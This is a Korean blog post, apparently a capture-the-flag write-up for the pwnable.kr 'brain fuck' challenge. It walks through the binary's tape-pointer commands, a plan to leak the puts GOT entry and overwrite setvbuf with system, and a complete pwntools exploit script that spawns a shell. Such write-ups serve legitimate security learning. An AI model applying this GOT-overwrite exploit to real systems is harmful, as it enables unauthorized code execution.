Pwnstar
Pwnable.kr brain fuck 본문
드디어 루키스 문제이다. brain fuck이라는 문제인데,
링크로 들어가면 libc파일 하나와 바이너리 파일 하나를 다운받을 수 있다.
우선 보호기법을 확인해보자.
32비트 파일이고, 카나리와 NX가 걸려있다.
내가 brain fuck이라는 언어를 모른다는 것이 문제를 풀 때 큰 장애가 될 것 같았는데 막상 풀어보니 그렇지도 않았다 오히려 문제는 다른 곳에서 터졌다.
IDA
아이다로 열어본 메인함수이다. []를 제외한 브레인퍽 문법을 입력하라는데 이 부분에서는 fgets로 입력받기 때문에 bof가 불가능할 것 같다.
do_brainfuck 함수이다.
이렇게 되어있는데 간단히 설명하자면
"+" "-" "," "." ">" "<" 이렇게 네 가지의 입력을 받을 수 있고, "["를 입력하면 [ and ] not supported라는 문자열이 뜬다.
처음 p의 주소는
0x804A080으로 되어있으며 이 주소엔
tape의 주소가 들어있다. 그리고 <를 입력하면
&p -1이 되고,
>를 입력하면
&p +1이 되고
+를 입력하면
*p +1이 되고
-1을 입력하면
*p -1이 된다.
,를 입력하면
한번에 한 바이트씩 입력할 수 있으며, "<" 나 ">"와 함께 써야한다.
.를 입력하면 *p의 한 바이트를 출력해준다.
이렇게 포인터를 가지고 놀 수 있는데, 이걸 이용해서 got overwrite를 할 수 있을 것 같다는 생각이 들었다. 사실 bof도 할 수야 있진 않을까 생각했는데, 까나리 릭을 하기가 싫었다..
맨 처음엔 시나리오를 이렇게 짰다.
1. tape이 bss영역이니, 이 곳에 "/bin/sh\x00" 문자열을 입력
2. puts got 출력
3. puts got와 system got의 offset을 이용해 puts got를 overwrite
4. system("/bin/sh\x00")을 실행
이렇게 짰는데... 도저히 put got에 "/bin/sh\x00"를 인자로 줄 방법을 못찾았다.
그래서 여기서 거의 이틀가량 고민하다가 찾은 방법이 setvbuf 함수를 이용하는 것이다.
메인함수에서 setvbuf에 stdout, stdin 등을 사용해서 실행하는 부분이 있는데 이 stdin이나 stdout을 "/bin/sh\x00" 문자열의 주소로 덮어쓰면 될 것 같다는 생각이 들었다.
그래서 시나리오를 다시 짰다.
기존의 시나리오에서 3번부터 바꾸었다
1. tape이 bss영역이니, 이 곳에 "/bin/sh\x00" 문자열을 입력
2. puts got 출력
3. puts got를 main함수의 setvbuf 실행시키는 부분으로 overwrite
4. setvbuf got와 system got와의 offset을 이용해 setvbuf got를 system got로 overwrite
5. 마지막으로 "[" 를 입력해서 main(setvbuf) 함수 실행
이렇게 시나리오를 짜고 익스를 짰다.
페이로드의 각 부분에 주석을 달아놔서 따로 설명은 안해도 될 것 같다.
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
r = remote("pwnable.kr", 9001)
#r = process("./bf")
#gdb.attach(r)
libc = ELF("./bf_libc.so")
stdin = 0x804a040
setv_got = 0x804a028
puts_got = 0x804a018
bss = 0x804A0A0
main = 0x08048694
r.recvuntil("type some brainfuck instructions except [ ]\n")
payload = ",>,>,>,>,>,>,>," #write "/bin/sh\x00" in bss -> 0x0804a01b
payload += "<" * 72 #set pointer to stdin -> 0x804a040
payload += ",>,>,>,>," #write bss into stdin -> 0x804a043
payload += "<" * 76 #set pointer to puts got -> 0x804a018
####
payload += ">.>.>.>." #print puts got -> 0x804a01b
payload += "<<<<" #set pointer to puts got again -> 0x804a018
payload += ",>,>,>,>,>," #write main into puts got -> 0x804a01c
#no problem so far
payload += ">" * 12 #set pointer to setvbuf got -> 0x804a028
payload += ",>,>,>,>," #write system got to setvbuf
payload += "[" #puts
r.sendline(payload)
r.sendline("/bin/sh\x00")
#raw_input()
sleep(1)
r.sendline(p32(bss))
sleep(3)
puts_got = u32(r.recv(4))
log.info("puts got = " + hex(puts_got))
puts_off = libc.symbols['puts']
system_off = libc.symbols['system']
libc_base = puts_got-puts_off
log.info("libc base = " + hex(libc_base))
sys_got = libc_base+system_off
log.info("system got = " + hex(sys_got))
sleep(1)
r.sendline(p32(main))
#raw_input()
sleep(1)
r.sendline(p32(sys_got))
#raw_input()
r.interactive()
이렇게 문제를 푸는데는 성공했는데..
다른 분들 라업을 보니 코드가 훨씬 간결한 분들이 많았다ㅎㅎ;;
좀 더 공부하자
끗!!
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr tiny_easy (0) | 2020.06.25 |
---|---|
Pwnable.kr dragon (0) | 2020.06.16 |
Pwnable.kr ascii_easy (0) | 2020.06.16 |
Pwnable.kr md5 calulator (0) | 2020.06.16 |
Pwnable.kr simple login (0) | 2020.06.10 |